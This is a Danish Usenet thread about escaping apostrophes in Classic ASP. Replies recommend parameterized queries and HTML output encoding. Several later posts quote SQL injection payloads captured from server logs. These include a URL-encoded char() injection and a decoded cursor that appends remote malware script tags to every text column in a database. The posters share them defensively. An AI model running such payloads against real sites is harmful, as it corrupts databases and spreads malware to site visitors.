Thread View: dk.edb.internet.webdesign.serverside.asp
19 messages
19 total messages
Started by Jens
Sun, 11 Dec 2011 20:30
Apostrof
Author: Jens
Date: Sun, 11 Dec 2011 20:30
Date: Sun, 11 Dec 2011 20:30
19 lines
2208 bytes
2208 bytes
Jeg har en del input-felter, hvor mine brugere kan indtaste sangtitler, der efterfølgende lagres i en access database. Og så kan andre på html-siden se den nye sang. Det virker fint - indtil en fandt på at skrive sangen I'll be your baby tonight Og for at sikre input bliver de modtaget med et Server.HTMLEncode(input) - som fint sørger for at min efterfølgede UPDATE-sætning ikke fejler pga. &, < "" og lignende. Men netop apostrof - eller pling - den kan den ikke lide. Så HTMLEncode må åbenbart ikke konvertere den tilstrækkeligt. Jeg har læst i et andet indlæg, at man skal huske at erstatte et apostrof med et dobbelt. Og hvis svaret er 'ja' - er der så en funktion, som kan erstatte alle ' med " i en streng? mvh /Jens
Re: Apostrof
Author: Birger Sørensen
Date: Mon, 12 Dec 2011 00:33
Date: Mon, 12 Dec 2011 00:33
31 lines
2337 bytes
2337 bytes
Jens: > Jeg har en del input-felter, hvor mine brugere kan indtaste > sangtitler, der efterf�lgende lagres i en access database. Og s� kan > andre p� html-siden se den nye sang. Det virker fint - indtil en fandt > p� at skrive sangen > > I'll be your baby tonight > > Og for at sikre input bliver de modtaget med et > Server.HTMLEncode(input) - som fint s�rger for at min efterf�lgede > UPDATE-s�tning ikke fejler pga. &, < "" og lignende. Men netop > apostrof - eller pling - den kan den ikke lide. > S� HTMLEncode m� �benbart ikke konvertere den tilstr�kkeligt. > > Jeg har l�st i et andet indl�g, at man skal huske at erstatte et > apostrof med et dobbelt. Og hvis svaret er 'ja' - er der s� en > funktion, som kan erstatte alle ' med " i en streng? > > mvh > /Jens Et link? Erstat den med noget andet og tilbage, n�r strengen skal vises.. ' => \' og \' => ' Birger -- http://varmeretter.dk - billig, sund og hurtig mad http://skippersevent.dk
Re: Apostrof
Author: Jens
Date: Mon, 12 Dec 2011 11:09
Date: Mon, 12 Dec 2011 11:09
56 lines
3326 bytes
3326 bytes
On 12 Dec., 01:33, Birger Sørensen <s...@bbsorensen.com> wrote: > Jens: > > > > > > > Jeg har en del input-felter, hvor mine brugere kan indtaste > > sangtitler, der efterfølgende lagres i en access database. Og så kan > > andre på html-siden se den nye sang. Det virker fint - indtil en fandt > > på at skrive sangen > > > I'll be your baby tonight > > > Og for at sikre input bliver de modtaget med et > > Server.HTMLEncode(input) - som fint sørger for at min efterfølgede > > UPDATE-sætning ikke fejler pga. &, < "" og lignende. Men netop > > apostrof - eller pling - den kan den ikke lide. > > Så HTMLEncode må åbenbart ikke konvertere den tilstrækkeligt. > > > Jeg har læst i et andet indlæg, at man skal huske at erstatte et > > apostrof med et dobbelt. Og hvis svaret er 'ja' - er der så en > > funktion, som kan erstatte alle ' med " i en streng? > > > mvh > > /Jens > > Et link? > Erstat den med noget andet og tilbage, når strengen skal vises.. > ' => \' > og \' => ' > > Birger > > --http://varmeretter.dk- billig, sund og hurtig madhttp://skippersevent.dk- Skjul tekst i anførselstegn - > > - Vis tekst i anførselstegn - Hej Birger/ Mine brugere taster noget ind jeg ikke er herre over - og som skal gemmes i access-databasen, hvorfra det igen kan vises på andre hjemmesider. Hvis min bruger indtaster øv'bøv (øvapostrofbøv) går der 'ged' i min efterfølgende UPDATE sætning og der genereres denne fejl: Der er en syntaksfejl, fordi der mangler en operator. i forespørgselsudtrykket "'øv'bø" Hvis jeg skal tage det ukendte input og konvertere alle apostroffer til noget andet - hviken kommando skal jeg så bruge? mvh /Jens.
Re: Apostrof
Author: Stig Johansen
Date: Mon, 12 Dec 2011 11:35
Date: Mon, 12 Dec 2011 11:35
5 lines
1812 bytes
1812 bytes
Den mandag den 12. december 2011 12.09.58 UTC+1 skrev Jens: > Hvis jeg skal tage det ukendte input og konvertere alle apostroffer > til noget andet - hviken kommando skal jeg så bruge? Brug replace funktionen.
Re: Apostrof
Author: Jens
Date: Mon, 12 Dec 2011 12:45
Date: Mon, 12 Dec 2011 12:45
29 lines
2611 bytes
2611 bytes
On 12 Dec., 12:35, Stig Johansen <simpel.te...@gmail.com> wrote:
> Den mandag den 12. december 2011 12.09.58 UTC+1 skrev Jens:
>
> > Hvis jeg skal tage det ukendte input og konvertere alle apostroffer
> > til noget andet - hviken kommando skal jeg så bruge?
>
> Brug replace funktionen.
Hej Stig
ja den har jeg også haft kig på, men da jeg aldrig har brugt den før
er min syntaks åbenabrt forkert.
Det går fint den ene vej fra innput til access med
REPLACE(Request.form("notes"),"'","£"), hvor ' fint erstattes af £
Men den anden vej, når jeg skal sende det til klienten kan jeg ikke
finde ud af syntaksen.
Før replace har jeg:
Response.write "..........." & rs("kommentar") & ......
Nu skal replace ind over rs("kommentar"), hvor £ skal erstattes af '
REPLACE(rs("kommentar"),"£","'") virker ikke. og heller ikke
REPLACE(rs("kommentar"),'£',''')
mvh
/jens
Re: Apostrof
Author: Rune Jensen
Date: Mon, 12 Dec 2011 15:55
Date: Mon, 12 Dec 2011 15:55
70 lines
4236 bytes
4236 bytes
On 12 Dec., 04:45, Jens <jens.r.rasmusse...@gmail.com> wrote:
> Nu skal replace ind over rs("kommentar"), hvor £ skal erstattes af '
...brug asc til tegn, som ikke umiddelbart kan bruges i din ASP-kode -
> REPLACE(rs("kommentar"),"£","'") virker ikke. og heller ikke
34 er chr-cærdien for "
Replace( rs( "kommentar"), "£, chr( 34))
Mht. Chr-værdier, kig f.eks. her:
http://www.ascii.cl/htmlcodes.htm
(der findes nok bedre, men lige hvad jeg kunne finde) - decimal
værdier i tabellen kan bruges umiddelbart.
> REPLACE(rs("kommentar"),'£',''')
Den fjerner £. ved at give den en tom streng, og er (nok?) ikke det du
vil.
Husk iøvrigt, at replace ikke bare kan stå alene, den skal bruges via
en variabel eller bruges som del af argument, da det er en funktion.
a = Replace ( b,c,d)
Finder alt i strengen b, som indeholder strengen c og erstatter dette
med indholdet af d. resultatet lægges i variablen a.
--------
Noget helt andet er så... Du skal beskytte både din HTML-kode (imod
bl.a. cross-site-scripting) OG din database (imod SQL-injection). Det
sidste gøres med parameterized queries, og er SVJV den eneste sikre
måde at gøre det på.
Umiddelbart ville jeg bruge PQ når jeg lægger kommentaren ind i DBen,
og så lave replace, når svaret _skrives til siden_.
Med PQ kan dine brugere skrive hvad fanden det skal være i en
kommentar - DBen er ligeglad, fordi dine SQL-argumenter sendes separat
fra brugerinputsne, sådan at brugerinputs ikke kan indvirke på SQLen.
Det er først, når svaret så skrives ud på siden, at der kan ske ting
og sager (i forhold til HTMLen selv), og her bruger man så replace som
denne på kommentaren
' Avoid XSS on HTML-output
Function toHTML( StringIn)
toHTML = replace( replace( replace( replace( StringIn, "&",
"&"), chr(34), """), "<", "<"), ">", ">")
End Function
response.write "<p>" & toHTML( Kommentar) & "</p>"
Parameterized Queries ifbm. Classic ASP er forbandet svært at finde
gode tutorials om efterhånden, men prøv denne:
http://www.userfriendlythinking.com/Blog/BlogDetail.asp?p1=7013&p2=119&p7=3001
Det er en kæmpe fordel ved PQ, at man kan have den "rå" kommentar
altid, og uden den gør skade i DBen, og derefter behandle den som man
vil, alt efter om den skal skrives til en hjemmeside (med HTML) eller
andet. Man ændrer kun på outputtet - ikke på kommentaren selv.
MVH
Rune Jensen
Re: Apostrof
Author: Rune Jensen
Date: Mon, 12 Dec 2011 16:06
Date: Mon, 12 Dec 2011 16:06
11 lines
1688 bytes
1688 bytes
On 11 Dec., 12:30, Jens <jens.r.rasmusse...@gmail.com> wrote: > Jeg har læst i et andet indlæg, at man skal huske at erstatte et > apostrof med et dobbelt. Hvad var begrundelsen for det? MVH Rune Jensen
Re: Apostrof
Author: Jens
Date: Mon, 12 Dec 2011 22:26
Date: Mon, 12 Dec 2011 22:26
91 lines
5512 bytes
5512 bytes
On 12 Dec., 16:55, Rune Jensen <runeofdenm...@gmail.com> wrote:
> On 12 Dec., 04:45, Jens <jens.r.rasmusse...@gmail.com> wrote:
>
> > Nu skal replace ind over rs("kommentar"), hvor £ skal erstattes af '
>
> ...brug asc til tegn, som ikke umiddelbart kan bruges i din ASP-kode -
>
> > REPLACE(rs("kommentar"),"£","'") virker ikke. og heller ikke
>
> 34 er chr-cærdien for "
>
> Replace( rs( "kommentar"), "£, chr( 34))
>
> Mht. Chr-værdier, kig f.eks. her:http://www.ascii.cl/htmlcodes.htm
>
> (der findes nok bedre, men lige hvad jeg kunne finde) - decimal
> værdier i tabellen kan bruges umiddelbart.
>
> > REPLACE(rs("kommentar"),'£',''')
>
> Den fjerner £. ved at give den en tom streng, og er (nok?) ikke det du
> vil.
>
> Husk iøvrigt, at replace ikke bare kan stå alene, den skal bruges via
> en variabel eller bruges som del af argument, da det er en funktion.
>
> a = Replace ( b,c,d)
>
> Finder alt i strengen b, som indeholder strengen c og erstatter dette
> med indholdet af d. resultatet lægges i variablen a.
>
> --------
> Noget helt andet er så... Du skal beskytte både din HTML-kode (imod
> bl.a. cross-site-scripting) OG din database (imod SQL-injection). Det
> sidste gøres med parameterized queries, og er SVJV den eneste sikre
> måde at gøre det på.
>
> Umiddelbart ville jeg bruge PQ når jeg lægger kommentaren ind i DBen,
> og så lave replace, når svaret _skrives til siden_.
>
> Med PQ kan dine brugere skrive hvad fanden det skal være i en
> kommentar - DBen er ligeglad, fordi dine SQL-argumenter sendes separat
> fra brugerinputsne, sådan at brugerinputs ikke kan indvirke på SQLen.
>
> Det er først, når svaret så skrives ud på siden, at der kan ske ting
> og sager (i forhold til HTMLen selv), og her bruger man så replace som
> denne på kommentaren
>
> ' Avoid XSS on HTML-output
> Function toHTML( StringIn)
> toHTML = replace( replace( replace( replace( StringIn, "&",
> "&"), chr(34), """), "<", "<"), ">", ">")
> End Function
> response.write "<p>" & toHTML( Kommentar) & "</p>"
>
> Parameterized Queries ifbm. Classic ASP er forbandet svært at finde
> gode tutorials om efterhånden, men prøv denne:http://www.userfriendlythinking.com/Blog/BlogDetail.asp?p1=7013&p2=11...
>
> Det er en kæmpe fordel ved PQ, at man kan have den "rå" kommentar
> altid, og uden den gør skade i DBen, og derefter behandle den som man
> vil, alt efter om den skal skrives til en hjemmeside (med HTML) eller
> andet. Man ændrer kun på outputtet - ikke på kommentaren selv.
>
> MVH
> Rune Jensen
Tak Rune.
Først nu forstår jeg hvorfor PQ virker. Der gik endelig :-) en prås op
for mig, da du skrev "fordi dine SQL-argumenter sendes separat
fra brugerinputsne, sådan at brugerinputs ikke kan indvirke på SQLen".
Førhen begreb jeg ikke hvorfor PQ kunne beskytte sql-opslaget i db.
Med ordet "separat" gav jo forklaringen.
Også en fin henvisning til eksempel. Jeg har forsøgt mig med et enkelt
brugerid/password-input og det virker. Hurra. Så nu skal jeg bare
bruge samme metode de 117 andre steder hvor brugerne kan indtaste
data. Og jeg går ud fra, at jeg nu ikke ved input skal tage højde for
apostroffer, gåseøbne, og-tegn og mindre end/større end-tegn - da de -
hvis de er der - vil blive opfatett som de tegn der er og ikke som
kommandoer til sql-kaldet.
Næste step - bliver så output til html-siden - og der har du jo givet
mig en fin function, som jeg tror jeg forstår og derfor vil bruge.
med taknemmelig hilsen
/jens
Re: Apostrof
Author: Stig Johansen
Date: Tue, 13 Dec 2011 09:09
Date: Tue, 13 Dec 2011 09:09
129 lines
5909 bytes
5909 bytes
Jens wrote:
> Ogs� en fin henvisning til eksempel. Jeg har fors�gt mig med et enkelt
> brugerid/password-input og det virker. Hurra. S� nu skal jeg bare
> bruge samme metode de 117 andre steder hvor brugerne kan indtaste
> data.
Du kan med fordel bruge den funktion du fik som svar i et andet indl�g fra
dig.
Eksempler nederst.
> Og jeg g�r ud fra, at jeg nu ikke ved input skal tage h�jde for
> apostroffer, g�se�bne, og-tegn og mindre end/st�rre end-tegn - da de -
> hvis de er der - vil blive opfatett som de tegn der er og ikke som
> kommandoer til sql-kaldet.
Pr�cis.
Du skal ikke t�nke p� noget som helst, blot gemme resultatet direkte.
> N�ste step - bliver s� output til html-siden - og der har du jo givet
> mig en fin function, som jeg tror jeg forst�r og derfor vil bruge.
For at uddybe.
Det er for at forhindre en anden problemstilling - XSS.
Antag at brugeren indtaster f�lgende i en textbox:
<script src="link.til.malware.injection.js></script>
Dette vil aktivere javascript, som fr�ser frem og tilbage, viser diverse
alarmer, og ender med at inficere brugerens maskine.
Eksempel p� brug af 'min' funktion:
UPDATE med variabelt antal felter:
-------------------------------------------------
' Redim ParametersArray(100)
SQL = "UPDATE " + Databasename + " SET "
Counter = 0
For Each Item In Request.Form
if (Item <> "Update") AND (Item <> "id") and (Item<>"none") then
if Counter > 0 then
SQL = SQL + ","
end if
ParametersArray(Counter) = Request.Form(Item)
Counter = Counter + 1
SQL = SQL + Item + "=" + "? "
end if
next
SQL = SQL + ",Changetime=now(),ChgUser=? " + _
" WHERE id=?"
ParametersArray(Counter) = session("loginuser")
ParametersArray(Counter+1) = NotesId
Rowsaffected = query(oConn,SQL,ParametersArray,Counter+2)
if Rowsaffected = 1 then %>
<div> Notes has been saved.<br/>
<a href="">Reedit</a>
<a
href="show.notes.asp?<%=Request.Servervariables("QUERY_STRING")%>">Show
note</a>
</div>
<% else
Response.Write SQL + "<br/>Error saving note " + Err.Description +
"<br/>"
....
-----------------------------
INSERT med variabelt antal felter:
Response.Write "in adding form" +cStr(Request.Form.Count)
Counter = 0
For Each Item In Request.Form
if Item <> "Add" and Item <> "none" then
if Counter > 0 then
SQL = SQL + ","
SQLValues = SQLValues + ","
end if
ParametersArray(Counter) = Request.Form(Item)
Counter = Counter + 1
SQL = SQL + Item
SQLValues = SQLValues + "? "
Response.Write "Item: " + Item
end if
next
SQL = SQL + ",Addtime,Changetime,AddUser,ChgUser"
ParametersArray(Counter) = Session("loginuser")
ParametersArray(Counter+1) = Session("loginuser")
SQLValues = SQLValues + ",now(),now(),?,?"
SQL = "INSERT INTO " + Databasename + "(" + SQL + ") VALUES
("+SQLValues+")"
Rowsaffected = query(oConn,SQL,ParametersArray,Counter+2)
if Rowsaffected = 1 then %>
<div>Note has been saved.<br/>
<a
href="add.notes.asp?<%=Request.Servervariables("QUERY_STRING")%>">Create
new</a>
<a
href="show.base.asp?<%=Request.Servervariables("QUERY_STRING")%>">Show
notes</a>
</div>
<% else
Response.Write "<br/>Error saving note " + Err.Description
+"<br/>SQL = "+SQL
end if
...
----------------------------------------
SELECT query:
-----------------------------
SQL = "SELECT docollapse,viewdefinition,sorttable FROM Databaseviews
WHERE databasename=? AND viewname =?"
Set oRs = query(oConn,SQL,Array(Databasename,viewname),2)
if oRs.eof then
oRs.Close
SQL = "SELECT TOP 1 docollapse,viewdefinition,viewname,sorttable FROM
Databaseviews WHERE databasename=? ORDER BY viewname"
Set oRs = query(oConn,SQL,Array(Databasename),1)
if not oRs.eof then Viewname = oRs("viewname") else Viewname = "No
views"
end if
if not oRs.eof then
.....
------------------------
Databasename og viewname er fra Request.querystring.
--
Med venlig hilsen
Stig Johansen
Re: Apostrof
Author: Rune Jensen
Date: Tue, 13 Dec 2011 16:49
Date: Tue, 13 Dec 2011 16:49
37 lines
3227 bytes
3227 bytes
On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote: > Næste step - bliver så output til html-siden - og der har du jo givet > mig en fin function, som jeg tror jeg forstår og derfor vil bruge. Funktionen svarer nogenlunde til den indbyggede HTMLEncode-funktion*), som du selv skriver du bruger, den skal bare bruges på outputtet i stedet, ja. Som Stig skriver, så sørger den for, der ikke kan indtastes eksekverbar kode (fx. javascript) i kommentaren, som så kan udføres på dine brugeres computere, når deres browser læser koden (altså kommentaren). Funktionen sørger iøvrigt også for, du ikke får vrøvl med HTML-validatoren pga. ugyldige tegn... Problemet med den indbyggede HTML-encoding funktion er bla., at den ikke kan encode, hvis man bruger UTF-8 til sin HTML. Og det gør flere og flere jo efterhånden, som HTML5 kommer i spil. Derfor kan man ligesågodt lave sin egen funktion fra start, den fylder jo ikke meget. Hvis nogen indtaster javascript-kode i en kommentar, som du encoder, bliver den ikke udført - den bliver vist med tekst. *) http://www.w3schools.com/ASP/met_htmlencode.asp > med taknemmelig hilsen > /jens- Skjul tekst i anførselstegn - Takkker... har lært nok det meste af det jeg ved om ASP af Stig, som også har svaret her. MVH Rune Jensen
Re: Apostrof
Author: Stig Johansen
Date: Wed, 14 Dec 2011 08:56
Date: Wed, 14 Dec 2011 08:56
23 lines
2177 bytes
2177 bytes
Rune Jensen wrote: > On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote: > >> med taknemmelig hilsen >> /jens- Skjul tekst i anf�rselstegn - > > Takkker... har l�rt nok det meste af det jeg ved om ASP af Stig, som > ogs� har svaret her. Hov hov - Rune. Hvis du ikke havde stillet din 'botbef�ngte' side til r�dighed havde vi aldrig opn�et samme dybde og viden om bot'er injections osv. S� en (meget) stor del af �ren m� tilfalde dig. Jeg har blot bidraget med en 'smule' teknik baseret p� vore f�lles observationer/logninger etc. -- Med venlig hilsen Stig Johansen
Re: Apostrof
Author: Leif Neland
Date: Wed, 14 Dec 2011 11:06
Date: Wed, 14 Dec 2011 11:06
33 lines
3966 bytes
3966 bytes
Rune Jensen wrote:
> Som Stig skriver, s� s�rger den for, der ikke kan indtastes
> eksekverbar kode (fx. javascript) i kommentaren, som s� kan udf�res p�
> dine brugeres computere, n�r deres browser l�ser koden (alts�
> kommentaren). Funktionen s�rger i�vrigt ogs� for, du ikke f�r vr�vl
> med HTML-validatoren pga. ugyldige tegn...
>
Nogen i Bulgarien fors�ger at injecte dette p� vores side: "</title><script
src=http://nbnjki.com/urchin.js ></script>"
Via url'en
voressite.dk/side.asp?id=273841+update+product+set+title=cast(title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(109)%2Bchar(121)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))--
Eller ?id=273841 update product set title=cast(title as
varchar(8000))+cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(115)+char(116)+char(97)+char(116)+char(115)+char(109)+char(121)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(32)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)
as varchar(8000))--
Det bliver fanget af input sanitation; id skal v�re et heltal, ikke en
streng ;-)
Det er ellers venligt af dem, at de vil lade den eksisterende overskrift st�
:-)
update product set title=title+"</title><script....."
Ellers ville man have set det med det samme, at sitet var blevet defacet.
At dom�net nbnjki.com s� ikke eksisterer mere g�r det endnu sjovere...
Leif
Re: Apostrof
Author: Stig Johansen
Date: Wed, 14 Dec 2011 11:23
Date: Wed, 14 Dec 2011 11:23
78 lines
4794 bytes
4794 bytes
Leif Neland wrote:
> Nogen i Bulgarien
Garanteret en bot.
> fors�ger at injecte dette p� vores side:
> "</title><script src=http://nbnjki.com/urchin.js ></script>"
>
> Via url'en
>
voressite.dk/side.asp?id=273841+update+product+set+title=cast(title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(109)%2Bchar(121)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))--
Det var da p�nt af dem at g�re det s� let l�seligt ;-)
'Kineseren' brugte denne her opbygning:
keynav=1;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x44...<a lot of
hex>...F7220%20AS%20VARCHAR(4000));EXEC(@S);--
(< a lot of hex> er indsat af mig)
Hvilket bliver til:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR
b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
[inserted to prevent execution] EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://www.adwadb.mobi/ngg.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
> Det bliver fanget af input sanitation; id skal v�re et heltal, ikke en
> streng ;-)
Bot'erne bruger bare det der st�r i dit link.
Du har ?id=..
Rune havde ?keynav=
> update product set title=title+"</title><script....."
> Ellers ville man have set det med det samme, at sitet var blevet defacet.
Det tilf�lde jeg refererer til ber�rte ca. 2 millioner engl�ndere, og blev
kun opdaget fordi der var en der undrede sig over et tr�k p� 'et eller
andet tusind' bel�b.
Husker ikke lige h�ndelsen men det var i �r 2009 - s� det er arkiveret under
altz...
> At dom�net nbnjki.com s� ikke eksisterer mere g�r det endnu sjovere...
Nej selvf�lgelig ikke ;-)
De bliver naturligvis nedlagt lige s� hurtigt de bliver oprettet, men selv
inden for f� minutter/timer, kan det udbredes.
S�g evt. efter "fast flux domains" hvis du vil vide mere.
Jeg ved godt du g�r en anelse 'grin' med disse 'bot programm�rer', men hvis
du s�tter dig ind i materien, er de langt langt mere intelligente end du
overhovedet forestiller dig.
Den st�rste (og gennemf�rte) genistreg er 'mnamogofer', som der ikke er en
k�ft der har opdaget til trods for den har eksisteret siden 2004-2006.
"Kun en t�be frygter ikke hav^H^H^Hbot programm�rerne" ;-)
--
Med venlig hilsen
Stig Johansen
Re: Apostrof
Author: Leif Neland
Date: Wed, 14 Dec 2011 12:01
Date: Wed, 14 Dec 2011 12:01
28 lines
2892 bytes
2892 bytes
Stig Johansen wrote: >> At dom�net nbnjki.com s� ikke eksisterer mere g�r det endnu >> sjovere... > > Nej selvf�lgelig ikke ;-) > > De bliver naturligvis nedlagt lige s� hurtigt de bliver oprettet, men > selv inden for f� minutter/timer, kan det udbredes. Der gik ikke mange minutter fra jeg fandt dem i loggen til jeg testede at dom�net ikke ikke eksisterede. Seneste link er til et site der findes, men en url, der ikke g�r. De er kommet fra den samme ip mange gange de sidste par dage, s� nu f�r de en redirect 301 til deres egen ip :-) > > Jeg ved godt du g�r en anelse 'grin' med disse 'bot programm�rer', > men hvis du s�tter dig ind i materien, er de langt langt mere > intelligente end du overhovedet forestiller dig. Ja, det er desv�rre lykkedes nogen at liste tabelstrukturen ud ved hj�lp af sqlinjects p� et "undersite", hvor jeg ikke havde f�et fjernet at fejlmeddlelser blev udskrevet. :-( Til geng�ld k�rte det med en sql-bruger, der kun havde l�seadgang, og kun til de absolut n�dvendige tabeller. :-) Leif
Re: Apostrof
Author: Stig Johansen
Date: Wed, 14 Dec 2011 12:08
Date: Wed, 14 Dec 2011 12:08
36 lines
3069 bytes
3069 bytes
Leif Neland wrote: > Der gik ikke mange minutter fra jeg fandt dem i loggen til jeg testede at > dom�net ikke ikke eksisterede. > Seneste link er til et site der findes, men en url, der ikke g�r. I en periode vogtede jeg disse logs n�sten i d�gndrift. Det var ret tit domainet/url'en ikke virkede, selv da selve requestet blev udf�rt. Men forestil dig denne tidslinie: 1) opret dom�ne 2) send bot'erne afsted 3) domainet bliver nedlagt 4) bot'erne forts�tter .... Men n�r proppen er af'er er den absolut giftigste (og intelligente) en (php) bot, der manipulerer .htaccess Den virkede p� denne m�de: 1. request - fors�g p� installering af malware 2. request - vis en porno site 3. fors�g (og fremover) - en 401 not found (aalts� som tekst men med 200OK i header). Jamen - hold k�ft hvor er det genialt - for det betyder jo at en observation af 1. request aldrig kan efterforskes[1], da senere opslag giver noget andet. Respekt for 'dem' har jeg squ ;-) [1] Efterforskes af diverse 'anti firmaer'. -- Med venlig hilsen Stig Johansen
Re: Apostrof
Author: Jens
Date: Thu, 15 Dec 2011 21:50
Date: Thu, 15 Dec 2011 21:50
46 lines
3852 bytes
3852 bytes
On 13 Dec., 17:49, Rune Jensen <runeofdenm...@gmail.com> wrote: > On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote: > > > Næste step - bliver så output til html-siden - og der har du jo givet > > mig en fin function, som jeg tror jeg forstår og derfor vil bruge. > > Funktionen svarer nogenlunde til den indbyggede HTMLEncode-funktion*), > som du selv skriver du bruger, den skal bare bruges på outputtet i > stedet, ja. > > Som Stig skriver, så sørger den for, der ikke kan indtastes > eksekverbar kode (fx. javascript) i kommentaren, som så kan udføres på > dine brugeres computere, når deres browser læser koden (altså > kommentaren). Funktionen sørger iøvrigt også for, du ikke får vrøvl > med HTML-validatoren pga. ugyldige tegn... > > Problemet med den indbyggede HTML-encoding funktion er bla., at den > ikke kan encode, hvis man bruger UTF-8 til sin HTML. Og det gør flere > og flere jo efterhånden, som HTML5 kommer i spil. Derfor kan man > ligesågodt lave sin egen funktion fra start, den fylder jo ikke meget. > > Hvis nogen indtaster javascript-kode i en kommentar, som du encoder, > bliver den ikke udført - den bliver vist med tekst. > > *)http://www.w3schools.com/ASP/met_htmlencode.asp > > > med taknemmelig hilsen > > /jens- Skjul tekst i anførselstegn - > > Takkker... har lært nok det meste af det jeg ved om ASP af Stig, som > også har svaret her. > > MVH > Rune Jensen En sidste kommentar/spørgsmål. Din function indenholder ikke apostrof, som jo også er et reserveret tegn i HTML. Men det skyldes måske, at IE ikke understøtter ' ? Men er mine ie-brugere så ikke forsat udsat for "mærkelige" browser-oplevelser, hvis jeg inkluderer denne i funktionen? Eller er skaden ved ikke at replace apostrop ikke så stor? mvh. /jens
Re: Apostrof
Author: Rune Jensen
Date: Sat, 17 Dec 2011 10:09
Date: Sat, 17 Dec 2011 10:09
37 lines
3189 bytes
3189 bytes
On 15 Dec., 22:50, Jens <jens.r.rasmusse...@gmail.com> wrote:
> En sidste kommentar/spørgsmål. Din function indenholder ikke apostrof,
> som jo også er et reserveret tegn i HTML. Men det skyldes måske, at IE
> ikke understøtter ' ? Men er mine ie-brugere så ikke forsat udsat
> for "mærkelige" browser-oplevelser, hvis jeg inkluderer denne i
> funktionen? Eller er skaden ved ikke at replace apostrop ikke så stor?
Du har helt ret -
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_Inserting_Untrusted_Data_into_HTML_Element_Content
Du bør så nok ændre funktionen til noget a la
' Avoid XSS on HTML-output
Function toHTML( StringIn)
toHTML =
Replace( Replace( Replace( Replace( Replace( Replace( StringIn, "&",
"&")
, chr(34), """)
, "<", "<")
, ">", ">")
, "'", "'")
, "/", "/")
End Function
response.write "<p>" & toHTML( Kommentar) & "</p>"
Bare træk Replace'rne op på én enkelt linje, det er bare for
læsbarhedens skyld, jeg har skilt dem.
MVH
Rune Jensen
Re: Apostrof
Author: Stig Johansen
Date: Mon, 19 Dec 2011 09:23
Date: Mon, 19 Dec 2011 09:23
34 lines
2849 bytes
2849 bytes
Jens wrote: > En sidste kommentar/sp�rgsm�l. Din function indenholder ikke apostrof, > som jo ogs� er et reserveret tegn i HTML. Men det skyldes m�ske, at IE > ikke underst�tter ' ? Men er mine ie-brugere s� ikke forsat udsat > for "m�rkelige" browser-oplevelser, hvis jeg inkluderer denne i > funktionen? Eller er skaden ved ikke at replace apostrop ikke s� stor? Det er lidt comme ci comme ca (staves det s�dan?;-) N�r vi snakker XSS er det teknisk set rigeligt at erstatte < med < - dermed aktiveres intet. Denne teknik virker i browsere men ikke i 'den' - da 'den' ikke kan styre tags og afslutninger. Hvis det ogs� skal virke i 'den' skal man ogs� replace > med < - s� er man sikker. I selve teksten er der ingen grund til at replace andet, da alle browsere forst�r & ' og " - i _teksten_. & " osv er kun relevant i forbindelse med links osv. S� hvis du udelukkende replacer < og > burde det se godt ud i alle browsere. Hvor meget man skal have med er et tradeof mellem struktur og performance. Man kan replace det hele (HTMLEncode) = d�rligst performance. Eller kun < og > = bedst performance. -- Med venlig hilsen Stig Johansen
Re: Apostrof
Author: Rune Jensen
